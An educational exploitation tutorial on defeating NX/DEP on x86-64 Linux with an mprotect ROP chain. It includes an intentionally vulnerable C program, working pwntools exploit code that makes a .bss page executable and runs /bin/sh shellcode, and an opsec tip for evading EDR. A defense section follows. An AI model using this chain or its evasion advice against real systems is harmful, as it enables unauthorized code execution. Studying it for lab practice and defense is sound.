Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
NX (the No-eXecute bit, also called DEP) marks the stack, heap, and other data regions non-executable, so an attacker who writes shellcode into a buffer can no longer jump to it. ROP answers NX by reusing existing executable code, but sometimes you genuinely want to run custom shellcode — for a staged implant, an egg-hunter, or simply because a syscall-heavy payload is easier to write as assembly than as a gadget chain. The bridge is mprotect: a ROP chain that calls mprotect(page, len, PROT_READ|PROT_WRITE|PROT_EXEC) flips a region you control back to executable, after which you jump into shellcode residing there.
This is the purest demonstration that NX is a speed bump, not a wall: NX does not prevent a process from *changing* memory protections at runtime, and mprotect is an ordinary libc/syscall interface. Give the attacker a ROP primitive and a place to put shellcode, and they can legally ask the kernel to make that place executable. This article builds the mprotect chain from scratch — including the rdx problem that pulls in ret2csu — then writes and runs shellcode, with pwntools’ ROP and shellcraft doing the heavy lifting.
Attack Prerequisites
An mprotect ROP requires the usual ROP foothold plus a few specifics:
- Instruction-pointer control and room for the chain —
mprotectneeds three arguments plus a follow-onread/jump, so either a sufficiently large overflow or a stack pivot to hold it. - The address of
mprotect— via the PLT for a non-PIE binary that imports it, or computed from a libc leak; static binaries have it at a fixed address. - Gadgets to set
rdi,rsi,rdx—pop rdi; retandpop rsi; retare common;rdxfrequently needsret2csuor apop rdxgadget. - A writable region at a known, page-aligned address (e.g.
.bss) to hold the shellcode, and a primitive (read) to write it there.
How It Works
mprotect(void *addr, size_t len, int prot) changes the protection of the pages covering [addr, addr+len). Two rules govern its use in an exploit. First, addr must be page-aligned (4096 bytes on x86-64) — pass the page base, not an arbitrary offset, or the call returns -EINVAL. Second, prot is a bitmask: PROT_READ|PROT_WRITE|PROT_EXEC is 1|2|4 = 7, and requesting 7 on a data page makes it writable *and* executable, the W^X-violating state you need to run staged shellcode.
The chain therefore looks like: set rdi = page_base, rsi = length (a multiple of the page size), rdx = 7, and call mprotect; then transfer control to the shellcode. In the System V ABI, rdi and rsi are easy, but rdx is the perennial problem — clean pop rdx; ret gadgets are scarce in small binaries, which is exactly the situation ret2csu was designed for (mov rdx, r13 inside __libc_csu_init). Alternatively, if you invoke mprotect as a raw syscall (rax = 10), you still need rdx set, and SROP can supply the whole register state in one shot.
Getting shellcode into the now-executable page is usually done in the same chain: after mprotect returns, call read(0, page, len) to receive the shellcode bytes, then ret/jump to page. A neat single-chain arrangement reuses the staging buffer as both the shellcode home and the mprotect target, so the last gadget is simply a ret into the freshly executable page.
Vulnerable Code / Setup
A non-PIE binary that overflows into a fixed .bss page and imports both mprotect and read — everything the chain needs to make a page executable and fill it:
// gcc -fno-stack-protector -no-pie -o nxbypass nx.c
#include <unistd.h>
#include <sys/mman.h>
// page-aligned writable buffer in .bss for the shellcode
char code[0x1000] __attribute__((aligned(0x1000)));
void vuln(void){
char buf[64];
read(0, buf, 512); // BUG: overflow -> ROP
(void)mprotect; (void)code; // keep imports referenced
}
int main(void){ vuln(); return 0; }
Cchecksec shows NX enabled — the mitigation we are defeating — and No PIE so the code buffer and gadgets are at fixed addresses. The buffer is page-aligned, satisfying mprotect‘s alignment rule:
$ checksec --file=./nxbypass
RELRO: Partial RELRO Stack: No canary NX: enabled PIE: No PIE
$ nm ./nxbypass | grep ' code$'
0000000000404000 B code # page-aligned .bss buffer
TEXTWalkthrough / Exploitation
pwntools’ ROP object has a first-class mprotect helper that resolves the argument gadgets — including synthesizing ret2csu for rdx when no pop rdx exists. Build the chain to make the code page RWX, read shellcode into it, and jump there:
from pwn import *
context.binary = elf = ELF('./nxbypass')
context.arch = 'amd64'
io = process('./nxbypass')
PAGE = elf.sym['code'] # 0x404000, page-aligned
OFF = 64 + 8
rop = ROP(elf)
# 1) mprotect(code, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
rop.mprotect(PAGE, 0x1000, 7)
# 2) read(0, code, len) to deliver shellcode into the now-RWX page
rop.read(0, PAGE, 0x100)
# 3) return into the shellcode
rop.raw(PAGE)
log.info(rop.dump()) # inspect the generated chain (note the csu block)
PythonSend the overflow with the chain, then deliver the shellcode that the staged read will drop into the executable page. shellcraft generates a standard execve("/bin/sh") stub:
payload = flat({OFF: rop.chain()})
io.send(payload)
shellcode = asm(shellcraft.amd64.linux.sh()) # execve('/bin/sh',0,0)
io.send(shellcode) # consumed by the staged read() into code[]
io.interactive() # $ id; cat flag
PythonIf you prefer to build the chain by hand to see the rdx handling, the mprotect call decomposes to pop rdi; ret -> PAGE, pop rsi; ret -> 0x1000, the ret2csu sequence to set rdx = 7, then mprotect@plt. The raw form makes the third-argument difficulty explicit — which is precisely why rop.mprotect exists:
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi','ret'])[0]
chain = p64(pop_rdi) + p64(PAGE)
chain += p64(pop_rsi) + p64(0x1000)
# rdx = 7 via ret2csu (mov rdx, r13) -- see the ret2csu article
# chain += <csu pop block setting r13=7, ...> + <csu call block -> mprotect@got>
chain += p64(elf.plt['mprotect'])
chain += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(PAGE) # read(0, PAGE, ...)
# ... then p64(PAGE) to execute the shellcode
PythonNote:
mprotectfails withEINVALifaddris not page-aligned — always pass the page base (addr & ~0xfff) and alenthat is a page multiple. If you must make a stack or heap address executable, align down to the page first. Also noteprot = 7(RWX) is convenient but conspicuous; requesting exactlyPROT_READ|PROT_EXEC(5) after writing the shellcode is stealthier where the workflow allows separating the write and execute phases.
Opsec: A data page transitioning to RWX and then being executed is a strong behavioral signal — many EDRs and hardened kernels hook exactly this
W^X-violatingmprotect(...PROT_EXEC)on writable memory. If a pure code-reuse path to your objective exists (ret2libc, anexecveROP), it is lower-signal than minting a new executable page. Reserve themprotectbypass for when custom shellcode is genuinely required.
Detection and Defense
The mprotect bypass exploits the fact that NX is revocable at runtime; defenses constrain or observe that transition:
- seccomp-bpf to deny or restrict
mprotect/mmapwithPROT_EXECfrom processes that never legitimately need JIT pages — the single most direct mitigation. - W^X enforcement / SELinux
execmemandexecmodpolicies that forbid making writable memory executable, breaking the RWX transition outright. - PIE + ASLR and Full RELRO so
mprotect@plt/@got, gadgets, and the staging page are not at fixed addresses without a leak. - Stack canaries, CET shadow stacks, and CET IBT to stop the overflow and the ROP control transfers that assemble the chain.
- EDR/audit telemetry on
mprotect(...PROT_EXEC)over writable pages followed by execution there — a high-fidelity indicator of runtime code injection.
Real-World Impact
Calling mprotect (or VirtualProtect on Windows) to re-enable execution is the standard, decades-old method for running shellcode under DEP/NX, and it appears throughout real-world exploitation — from browser and reader exploits that ROP their way to an RWX page before detonating a stage-two payload, to CTF solutions that prefer a short mprotect chain plus shellcraft over a fully-ROP payload. Its persistence is the whole point: NX raised the bar from “jump to your bytes” to “reuse code to legalize your bytes, then jump,” but it never removed the capability. That is why modern defense has shifted toward seccomp PROT_EXEC restrictions, W^X policy enforcement, and control-flow integrity rather than relying on NX alone.
Conclusion
Bypassing NX with mprotect is the clean expression of a simple idea: the kernel will make your data executable if you ask correctly. Assemble a chain that sets rdi = page, rsi = len, rdx = 7 (borrowing ret2csu for the stubborn third argument), calls mprotect, reads shellcode into the page, and returns into it — pwntools’ rop.mprotect and shellcraft reduce it to a few lines. NX remains valuable as one layer, but on its own it only changes the shape of the attack; seccomp, W^X policy, PIE, and CET are what actually close the door.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments